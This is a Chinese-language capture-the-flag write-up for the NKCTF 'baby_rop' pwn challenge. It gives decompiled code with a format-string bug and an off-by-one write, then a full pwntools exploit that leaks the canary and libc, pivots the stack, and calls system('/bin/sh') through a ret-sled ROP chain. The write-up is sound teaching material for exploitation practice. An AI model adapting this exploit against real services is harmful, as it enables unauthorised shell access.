nkctf pwn baby_rop
保护检查
源码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 vuln() { const char *format; // [rsp+8h] [rbp-118h] char src[8]; // [rsp+10h] [rbp-110h] BYREF char dest[8]; // [rsp+18h] [rbp-108h] BYREF char v4[248]; // [rsp+20h] [rbp-100h] BYREF unsigned __int64 v5; // [rsp+118h] [rbp-8h] v5 = __readfsqword(0x28u); strcpy(dest, "Hello, "); puts("Welcome to the NKCTF message board!"); printf("What is your name: "); my_read((__int64)src, 8); format = strcat(dest, src); printf(format); puts("What are your comments and suggestions for the NKCTF: "); my_read((__int64)v4, 256); puts("Thank you, we will read your comments and suggestions carefully."); return 0LL; }
主要在这个vuln函数中,前面有一个格式化字符串漏洞,然后后面输入256个字符,但是并不能覆盖到返回地址。在my_read函数中有一个off_by_one的漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 __int64 __fastcall my_read(__int64 a1, int a2) { unsigned int v3; // [rsp+18h] [rbp-8h] int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; i < a2; ++i ) { v3 = read(0, (void *)(i + a1), 1uLL); if ( *(_BYTE *)(i + a1) == 10 ) break; } *(_BYTE *)(i + a1) = 0; return v3; }
在主函数调用vuln函数的下面紧接着的时leave指令,这就联想到了栈劫持,而且通过off_by_one漏洞恰好可以修改rbp里存的值,这样就可以将栈迁移到我们输入256字节的范围内。
思路:前面的格式化字符串漏洞可以输入的值有限,第一次泄露一下栈地址的canary,主要是canary
然后劫持进程到start重新运行一次,第二次泄露libc,通过system和binsh拿到shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import * context(os='linux',arch='amd64',log_level='debug') p = process("./rop") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") pop_rdi_ret = 0x0000000000401413 ret = 0x000000000040101a main_addr = 0x40138C start_addr = 0x4010F0 def debug(): gdb.attach(p,'b *0x401340') p.recv() payload = "%p%41$p" p.sendline(payload) p.recvuntil("Hello, ") stack_dest = int(p.recv(14),16) old_rbp = stack_dest + 0x118 fake_rbp = old_rbp & 0xffffffffffffff00 v4_addr = stack_dest + 8 num = fake_rbp - v4_addr + 0x10 canary = int(p.recv(18),16) print(hex(stack_dest)) print(hex(canary)) p.recv() payload = p64(ret)*30 + p64(start_addr) payload += p64(canary) p.send(payload) p.recv() payload = "%25$p" p.sendline(payload) p.recvuntil("Hello, ") libcbase = int(p.recv(14),16) - libc.sym['_IO_2_1_stderr_'] print(hex(libcbase)) binsh = libcbase + 0x00000000001b45bd system_addr = libcbase + libc.sym['system'] p.recv() payload = p64(ret)*28 + p64(pop_rdi_ret) + p64(binsh) + p64(system_addr) + p64(canary) p.send(payload) #debug() p.interactive()
一开始我打算用泄露出来的栈地址计算出准确的偏移,然后不知道怎么回事一直失败,后来我想到了一个无脑填充ret的地址,把包括canary在内的后几个字节正常写入,前面全部填充ret,这样反而更加稳定。